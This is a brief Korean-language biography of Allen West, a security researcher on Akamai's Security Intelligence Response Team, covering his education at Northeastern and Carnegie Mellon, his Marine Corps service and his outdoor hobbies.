앨런 웨스트는 Akamai 보안 인텔리전스 대응팀의 보안 연구원으로 위협 조사와 툴 구축을 즐깁니다. 현재 카네기 멜론 대학교에서 정보 보안 및 보증 석사 학위를 취득하고 있습니다. 그는 노스이스턴 대학교에서 사이버 보안 학부 학위를 받았으며 해병대 복무 경력이 있습니다. 앨런은 자유시간 동안 여행, 하이킹, 수영을 좋아하며, 야외에서 모험을 즐기는 모든 것을 좋아합니다.